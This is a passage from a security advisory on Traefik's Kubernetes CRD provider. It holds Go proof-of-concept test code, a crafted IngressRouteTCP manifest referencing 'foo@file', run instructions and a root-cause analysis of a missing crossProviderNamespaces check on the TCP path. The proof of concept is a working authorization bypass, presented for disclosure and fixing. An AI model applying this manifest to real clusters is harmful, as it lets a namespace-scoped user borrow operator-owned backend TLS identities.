Advisory

GHSA-42cj-m3vj-89wv

Details, part 2 of 3. The advisory

Details

require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))

listener, err := net.Listen("tcp", "127.0.0.1:0")
require.NoError(t, err)

tlsListener := tls.NewListener(listener, &tls.Config{
Certificates: []tls.Certificate{serverCert},
ClientAuth: tls.RequireAndVerifyClientCert,
ClientCAs: clientPool,
})

peerCN := make(chan string, 1)
done := make(chan error, 1)

go func() {
conn, err := tlsListener.Accept()
if err != nil {
done <- err
return
}
defer conn.Close()

tlsConn, ok := conn.(*tls.Conn)
if !ok {
done <- fmt.Errorf("unexpected connection type %T", conn)
return
}

if err := tlsConn.Handshake(); err != nil {
done <- err
return
}

state := tlsConn.ConnectionState()
if len(state.PeerCertificates) == 0 {
done <- fmt.Errorf("missing peer certificate")
return
}
peerCN <- state.PeerCertificates[0].Subject.CommonName

buf := make([]byte, 4)
if _, err := io.ReadFull(tlsConn, buf); err != nil {
done <- err
return
}
if string(buf) != "ping" {
done <- fmt.Errorf("unexpected backend payload %q", string(buf))
return
}

_, err = tlsConn.Write([]byte("PONG"))
done <- err
}()

return listener.Addr().String(), peerCN, done, func() {
_ = tlsListener.Close()
}
}

type poCPKI struct {
caCertPEM []byte
serverCertPEM []byte
serverKeyPEM []byte
clientCertPEM []byte
clientKeyPEM []byte
}

func newPoCPKI(t *testing.T) poCPKI {
t.Helper()

caKey, err := rsa.GenerateKey(rand.Reader, 2048)
require.NoError(t, err)

caTemplate := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "poc-ca"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
BasicConstraintsValid: true,
IsCA: true,
}

caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey)
require.NoError(t, err)

serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})
clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})

return poCPKI{
caCertPEM: pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}),
serverCertPEM: serverCertPEM,
serverKeyPEM: serverKeyPEM,
clientCertPEM: clientCertPEM,
clientKeyPEM: clientKeyPEM,
}
}

func newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {
t.Helper()

key, err := rsa.GenerateKey(rand.Reader, 2048)
require.NoError(t, err)

serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
require.NoError(t, err)

template := &x509.Certificate{
SerialNumber: serial,
Subject: pkix.Name{CommonName: cn},
DNSNames: []string{"example.com"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
ExtKeyUsage: eku,
}

certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey)
require.NoError(t, err)

keyDER := x509.MarshalPKCS1PrivateKey(key)

return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}),
pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER})
}


</details>

<details>
<summary>with_servers_transport_cross_provider_poc.yml</summary>

```yaml
apiVersion: traefik.io/v1alpha1
kind: IngressRouteTCP
metadata:
  name: test.route
  namespace: default

spec:
  entryPoints:
    - foo

  routes:
  - match: HostSNI(`foo.com`)
    priority: 12
    services:
    - name: whoamitcp
      port: 8000
      tls: true
      serversTransport: foo@file

</details>

Requirements

  • git
  • Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0.
  • Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.

No local Traefik checkout is required by default.

Run

./run.sh

Optional target override:

TARGET_REF=v3.6.21 ./run.sh

Optional local-source override for faster local validation:

TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh

Expected Result

The run should end with:

POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport="foo@file" backend_tls=true
POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport="foo@file" peer_cn="example.com" response="PONG"
POC_RESULT=PASS

Root Cause

Line numbers below are from:

repository: https://github.com/traefik/traefik
tag:        v3.7.5
commit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0

1. The provider option is meant to cover IngressRouteTCP

pkg/provider/kubernetes/crd/kubernetes.go:60

CrossProviderNamespaces []string `description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...`

This establishes the security invariant: IngressRouteTCP cross-provider
references should be gated by crossProviderNamespaces.

2. TCP service creation forwards the attacker-controlled transport name

pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185

if service.ServersTransport != "" {
	tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)
}

The attacker-controlled serversTransport field is passed into the key builder.

3. TCP key builder returns cross-provider names without the allowlist check

pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322

if strings.Contains(serversTransportName, providerNamespaceSeparator) {
	return serversTransportName, nil
}

This accepts foo@file directly. There is no call to
isCrossProviderNamespaceAllowed(...) on this TCP path.

4. HTTP sibling contains the missing authorization gate

pkg/provider/kubernetes/crd/kubernetes_http.go:507-508

if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {
	return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...)
}

The HTTP path proves the intended policy: cross-provider serversTransport
references should be rejected when the route namespace is not in the allowlist.

5. Runtime TCP dialer consumes the exact referenced transport

pkg/tcp/dialer.go:135-141

if config.ServersTransport != "" {
	name = config.ServersTransport
}
st, ok := d.serversTransports[name]

pkg/tcp/dialer.go:183-188

tlsConfig = &tls.Config{
	ServerName:   st.TLS.ServerName,
	Certificates: st.TLS.Certificates.GetCertificates(),
}

Sources & licences